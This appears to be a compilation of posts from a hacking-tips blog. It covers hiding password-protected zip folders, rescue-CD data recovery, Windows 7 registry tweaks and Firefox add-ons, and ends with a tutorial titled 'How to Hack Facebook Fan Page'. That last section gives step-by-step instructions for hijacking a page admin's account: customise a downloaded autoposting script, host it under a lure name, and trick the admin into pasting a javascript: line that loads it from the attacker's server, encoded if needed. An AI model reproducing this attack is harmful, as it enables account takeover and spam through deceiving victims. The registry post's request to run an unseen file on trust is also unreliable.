How to Secure your Private Folders

I know that its been very long since I have posted anything for you. So first of all I am really very sorry this delay but I assure you that from now  on it won’t be like that. And to make up for this delay I am posting a nice tutorial which can help you secure your private stuff.

Do you have any private stuff that you would to hide from your friends and relatives? Would you want it to be Invisible so that it remains unnoticed by the normal users? But there are software which can display all the folders that are present on the Disk. So What if you can even  password protect your folder? I guess having your private folder password protected as well as invisible should be secure enough. But you might think that you may need to have a software for that. Well here is a way to do that without using any additional software and you can show off in front of your friends by making their folders invisible as well as password protected. Here is is step by step procedure to create a password protected folder.

How to create a Password Protected Folder

1. Create a new folder (Right-click -> New -> Folder) and give it any name of your choice. For instance I name it as ABC.

2. Now in this folder place all the important files, documents or any folders that you want to password protect.

3. Now Right-click on this folder (ABC) and select the option Send To -> Compressed (zipped) Folder.

4. Now a new compressed zipped folder gets created next this folder (ABC) with the same name.

5. Double-click on this compressed zipped folder and you should see your original folder (ABC) here.

6. Now goto the File menu and select the option Add a password.

ie: File -> Add a password

Now a small window will pop up and here you can set your desired password. Once the password is set, the folder will ask for the password every time it is opened. Thus you have now created the password protected folder.

How to make it Invisible

1. Now Right-click on this password protected folder and select Properties.

2. At the bottom select the option Hidden and press OK. Now your folder gets invisible (hidden).

3. In order to unhide this folder go to My Computer – >Tools -> Folder options. Switch to View tab, scroll down and under Hidden files and folders you’ll see the following two options

• Do not show hidden files and folders
• Show hidden files and folders

Now select the second option and press OK. Now the invisible folder becomes visible in it’s location. To access it you need the password. To make it invisible again repeat step -1 through step-3 and select the first option and click OK. Now the folder becomes invisible once again.

I hope you like this post. Pass your comments!! Cheers

How to Recover Important Data after your System is Crashed

Suppose your computer commits suicide by inviting the latest virus and you are not able to get it back up and running. As a last resort you decide to backup your important documents, photos that you took of your girl friend and the ASCII text file containing your passwords. Today I will show how to do this very easily.

Create a System Rescue CD

Use an uninfected computer and download the System Rescue CD ISO file (latest version) fromsysresccd.org. Now burn this ISO to a blank CD.

Start the rescue

After the ISO is written to CD, take it out, pop the CD into the drive of the computer that’s busted. Set the BIOS to boot through the CD first, hard disk next. And allow it to reboot.

You should see this beautiful System Rescue startup screen. Type these options after the boot: prompt and press ENTER.

rescuecd docache dostartx dodhcp

The docache option allows you to remove the System Rescue CD after it boots up, so you can enter another blank CD/DVD and take backups.

The dostartx option starts GUI automatically.

The dodhcp opiton automatically configures the network and connects you automatically to the Internet after booting.

Load the appropriate keymap when prompted (or just select the default US keymap).

It should start GUI automatically. In case it doesn’t, type startx at the command line and press ENTER.

Your desktop should have a terminal with a yellow background. We need to mount the partition and then do the backup.

Your Windows partition will most likely be located in /mnt/sda1 or /mnt/sda2. To check the partitions, run this:

fdisk -l /dev/sda

It should show you the partition names.

Then, to mount partition 1, run this:

ntfs-3g /mnt/sda1 /mnt/windows

If it mounts correctly, you should be able to see the files in your C:\ directory when you type:

ls -al /mnt/windows

Backing up your data to a CD/DVD

Now, to begin backing up your data, type this:

xfburn

The Xfburn program will show you a list of your partitions. Browse to the Windows partition(s) using theFilesystem menu option on the top-left and select all the files you need. Click on New Data Composition. Insert a blank CD or DVD and allow to burn all your data to the CD/DVD.

Backing up your data to a remote location

This is easier if you love using the command line. First, make sure the network is up by pinging to google.com

ping google.com

If it throws up an error, you have to run this to configure your network interface:

net-setup eth0

If you want to transfer the files in the directory C:\work to your remote server myremoteserver.com as userhungryhackers

The directory C:\work would be located in /mnt/windows/work. This command will transfer the directory:

scp -r /mnt/windows/work hungryhackers@myremoteserver.com

Enter the password for user hungryhackers and the file transfer will begin.

Registry Tweaks to improve your Windows 7 Experience

Windows 7, like earlier versions of Windows operating systems allow users to edit registry entries to customize system settings. Below are some of the tweaks that you can use to do this.

Warning: Remember to backup the registry before implementing any of these tweaks. You can do this from the Registry Editor utility or by using a Windows 7 compatible registry tool.

How to Apply these Tweaks?

To make your task simple I have compiled all the tweaks into a Registry file which you need to Run by double clicking on it. The changes that this script is going to make are given below. If you don’t want all the changes to be made just edit the file and remove the part that you don’t want to happen. In case of any doubts you may write it in comment.

1. Adds “Copy To” and “Move To” options in files and folders context menu, so that you can easily copy and move them to other locations.
2. Sets Windows to automatically end task of programs which are either hanged or taking longer time than expected to exit.
3. Decreases menus show delay time, it’ll show the sub-menus fast when you select their parent menu.
4. Disables the low disk space check so that you don’t get the annoying low disk space notification in system tray.
5. Sets Windows to not waste time in searching for a program which no longer exists in your system when you try to open its shortcut.
6. Disables “search on Internet” prompt in “Open with” window so that it directly opens the program list.
7. Speeds up the Explorer navigation.
8. Adds “Take Ownership” option in files and folders context menu so that you can easily take ownership of files and folders in case you want to replace them for customization purpose.

I assure you it’ll not harm your system in any condition and its completely safe to apply. You just need to download the script and double click on the script.

3 Amazing Firefox Hacks

What good is a browser unless you can tweak it, hack it and bend it to your will? No good at all. The more you can hack it, the better it is. And that means that Firefox must be a great browser as when ever you feel that you know everything about it you come across a bunch of hidden (and some not-so-secret) tips and tricks available that will crank Firefox up and pimp your browser. Make it faster, cooler, more efficient. So today I have come up with 3 amazing firefox tricks you might not be aware of.

1. Save Session For All Tabs Opened In Multiple Firefox Windows

If you are an ardent user of Firefox then you may be aware that when more than one firefox windows are opened up, in that case when you close a firefox window, it does ask me the option to save the session and exit, rather it ask to close all the tabs in that firefox window, but it wont save the tabs in other windows. So this way you could not save the session for multiple tabs opened in multiple firefox windows.

In such a case, there is only one option left to save the session for all the tabs opened in separate firefox windows by terminating firefox through task manager, here is how you do it.

Press Ctrl+Shift+Esc to quickly launch task manager, click the process tab and locate firefox.exe and right click selecting the exe and click End Process Tree.

Next time when you will open firefox it will open all the tabs in all the windows that were previously open.

2. Open & Log In to Multiple Accounts Gmail, Facebook, or Twitter Accounts In FireFox

Firefox extension CookiePie manages Firefox’s cookies—small bits of text stored on your computer that tell a site you’re logged in, for example—in such a way that you can log into the same site multiple times.

How to use it?

Just follow the steps given below:

• Install CookiePie Firefox Extension.
• Create a new tab or use an existing one.
• Open the context menu of the tab (i.e: Press the right mouse button over the tab) and select “Toggle On/Off CookiePie”.
• A cookiepie icon will appear over the tab.
• Go to a site (e.g.: http://www.gmail.com) and login into your account.
• Create another tab.
• Enable CookiePie on that tab too.
• Log in with another account on the same site.

3. Bypass Download Waiting Time On Rapidshare, Megaupload, zShare, Mediafire etc

SkipScreen is a really useful firefox  addon for lot of users who download  various types of files from the popular file and media sharing sites like Rapidshare, Megaupload, zShare, Mediafire, and more.

Most of these file sharing web sites have a annoying waiting time limit before a free user can start downloading the requested file. So, SkipScreen can be really useful in saving your time wasted seeing the download waiting time as it removes the screen of download waiting time from these media sharing sites.

SkipScreen monitors the pages where you see the download time and will get the content you want before the download waiting time completes.

How to Hack Facebook Fan Page

Today I will show you how to hack a Facebook fan page. This is my first post at Hacking Truths and I am very excited about it. I hope you like this tutorial and give your feed back in the comments.

Now lets start the tutorial. First of all we will need to setup an exploit  and a website to host the exploit. If you already have a hosting then its great otherwise there are couple of free hosting websites that can be used for such purposes. I will tell you about it along with the tutorial.

Disclaimer: Coder and related sites are not responsible for any abuse done using this trick.

1. Download the exploit from this Link.

2. After downloading it, you need to edit the it. Get notepad++, one of my hot favorite editor. You can download it from here.

3. Open the file named pagehack.js with notepad++. Now find the text wamiqali@hungry-hackers.com by pressing ctrl+f and replace it with your own email id which you have used while signing up for facebook.

4. Now you have to change the viral text which will be sent to the friends of the victims. To do this, find the textHey See what i got! and replace it with your own text. This text will be sent to the facebook wall of 15 friends of the victim. Since it is an autoposting bot, to prevent facebook from blocking it, I reduced its capacity to 15. Now just save it as anything.js (Tip: Be social engineer and rename it to something more attractive like getprizes.js or booster.js)

5. Now you have to upload this script to your server. For this make an account at 0fess.net or000webhost.com (t35 or 110mb won’t help this time) and use filezilla and upload this to your root. So the address where your script is uploaded will be as follows:

www.yoursite.0fess.net/booster.js

6. Now comes the most important part of this Hack. You need to convince the admin of that Fan page to put the following code (Note: Don’t forget to replace the text in bold with the address of your script) in hisbrowser’s address bar and hit enter while he is on Facebook.

javascript:(a = (b = document).createElement(“script”)).src = “//www.yoursite.0fess.net/booster.js“, b.body.appendChild(a); void(0)

Tip: You can fool him by making him greedy to grab something. You can also encode this in ASCII format for more better results.
